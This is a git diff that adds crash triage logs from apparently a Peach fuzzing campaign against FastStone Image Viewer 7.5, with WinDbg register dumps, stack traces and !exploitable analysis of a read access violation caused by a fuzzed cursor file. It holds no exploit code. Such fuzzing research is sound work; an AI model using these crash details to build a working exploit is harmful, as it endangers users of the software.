005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00254000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00254000 b3df0fd7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00254000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c63ed6b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B14: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B14: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b14.1618): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07ea7b10 edx=00003879 esi=ff230010 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.03519e+036 3.9003e-030 -7.15561e-028 -3.38477e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00254000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00254000 b3df0fd7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00254000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d1ea85e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7c7c812 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..de688e3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x244: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x244: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(244.a48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07e57b10 edx=00003879 esi=f3e30010 edi=07c80fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 